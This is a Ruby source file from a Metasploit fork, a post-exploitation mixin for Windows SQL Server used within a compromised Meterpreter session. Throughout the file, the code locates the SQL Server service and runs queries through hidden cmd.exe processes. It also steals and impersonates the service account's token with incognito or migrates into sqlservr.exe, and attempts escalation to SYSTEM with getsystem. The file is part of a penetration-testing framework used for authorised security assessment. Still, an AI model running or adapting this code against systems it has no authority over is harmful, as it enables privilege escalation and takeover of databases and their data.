Files
metasploit-gs/lib/msf/core/post/windows/mssql.rb
T
2015-04-13 13:21:41 +05:00

211 lines
7.3 KiB
Ruby

# -*- coding: binary -*-
require 'msf/core/post/windows/services'
require 'msf/core/post/windows/priv'
require 'msf/core/exploit/mssql_commands'
module Msf
class Post
module Windows
module MSSQL
# @return [String, nil] contains the identified SQL command line client
attr_accessor :sql_client
include Msf::Exploit::Remote::MSSQL_COMMANDS
include Msf::Post::Windows::Services
include Msf::Post::Windows::Priv
# Identifies the Windows Service matching the SQL Server instance name
#
# @param [String] instance the SQL Server instance name to locate
# @return [Hash, nil] the Windows Service instance
def check_for_sqlserver(instance = nil)
target_service = nil
each_service do |service|
if instance.to_s.strip.empty?
# Target default instance
if service[:display] =~ /SQL Server \(|^MSSQLSERVER|^MSSQL\$/i &&
service[:display] !~ /OLAPService|ADHelper/i &&
service[:pid].to_i > 0
target_service = service
break
end
else
if (
service[:display].downcase.include?("SQL Server (#{instance}".downcase) || #2k8
service[:display].downcase.include?("MSSQL$#{instance}".downcase) || #2k
service[:display].downcase.include?("MSSQLServer#{instance}".downcase) || #2k5
service[:display].downcase == instance.downcase # If the user gets very specific
) &&
service[:display] !~ /OLAPService|ADHelper/i &&
service[:pid].to_i > 0
target_service = service
break
end
end
end
if target_service
target_service.merge!(service_info(target_service[:name]))
end
target_service
end
# Identifies a valid SQL Server command line client on the host and sets
# sql_client
#
# @see sql_client
# @return [String, nil] the SQL command line client
def get_sql_client
client = nil
if check_sqlcmd
client = 'sqlcmd'
elsif check_osql
client = 'osql'
end
@sql_client = client
client
end
# Attempts to run the osql command line tool
#
# @return [Boolean] true if osql is present
def check_osql
result = run_cmd('osql -?')
result =~ /(SQL Server Command Line Tool)|(usage: osql)/i
end
# Attempts to run the sqlcmd command line tool
#
# @return [Boolean] true if sqlcmd is present
def check_sqlcmd
result = run_cmd('sqlcmd -?')
result =~ /SQL Server Command Line Tool/i
end
# Runs a SQL query using the identified command line tool
#
# @param [String] query the query to execute
# @param [String] instance the SQL instance to target
# @param [String] server the SQL server to target
# @return [String] the result of query
def run_sql(query, instance = nil, server = '.')
target = server
if instance && instance.downcase != 'mssqlserver'
target = "#{server}\\#{instance}"
end
cmd = "#{@sql_client} -E -S #{target} -Q \"#{query}\" -h-1 -w 200"
vprint_status(cmd)
run_cmd(cmd)
end
# Executes a hidden command
#
# @param [String] cmd the command line to execute
# @param [Boolean] token use the current thread token
# @return [String] the results from the command
#
# @note This may fail as SYSTEM if the current process
# doesn't have sufficient privileges to duplicate a token,
# e.g. SeAssignPrimaryToken
def run_cmd(cmd, token = true)
opts = { 'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token }
process = session.sys.process.execute("cmd.exe /c #{cmd}", nil, opts)
res = ""
while (d = process.channel.read)
break if d == ""
res << d
end
process.channel.close
process.close
res
end
# Attempts to impersonate the user of the supplied service
# If the process has the appropriate privileges it will attempt to
# steal a token to impersonate, otherwise it will attempt to migrate
# into the service process.
#
# @note This may cause the meterpreter session to migrate!
#
# @param [Hash] service the service to target
# @return [Boolean] true if impersonated successfully
def impersonate_sql_user(service)
return false if service.nil? || service[:pid].nil? || service[:pid] <= 0
pid = service[:pid]
vprint_status("Current user: #{session.sys.config.getuid}")
current_privs = client.sys.config.getprivs
if current_privs.include?('SeImpersonatePrivilege') ||
current_privs.include?('SeTcbPrivilege') ||
current_privs.include?('SeAssignPrimaryTokenPrivilege')
username = nil
session.sys.process.each_process do |process|
if process['pid'] == pid
username = process['user']
break
end
end
return false unless username
session.core.use('incognito') unless session.incognito
vprint_status("Attempting to impersonate user: #{username}")
res = session.incognito.incognito_impersonate_token(username)
if res =~ /Successfully/i
print_good("Impersonated user: #{username}")
return true
else
return false
end
else
# Attempt to migrate to target sqlservr.exe process
# Migrating works, but I can't rev2self after its complete
print_warning("No SeImpersonatePrivilege, attempting to migrate to process #{pid}...")
begin
session.core.migrate(pid)
rescue Rex::RuntimeError => e
print_error(e.to_s)
return false
end
vprint_status("Current user: #{session.sys.config.getuid}")
print_good("Successfully migrated to sqlservr.exe process #{pid}")
end
true
end
# Attempts to escalate the meterpreter session to SYSTEM
#
# @return [Boolean] true if escalated successfully or user is already SYSTEM
def get_system
print_status("Checking if user is SYSTEM...")
if is_system?
print_good("User is SYSTEM")
return true
else
# Attempt to get LocalSystem privileges
print_warning("Attempting to get SYSTEM privileges...")
system_status = session.priv.getsystem
if system_status && system_status.first
print_good("Success, user is now SYSTEM")
return true
else
print_error("Unable to obtained SYSTEM privileges")
return false
end
end
end
end # MSSQL
end # Windows
end # Post
end # Msf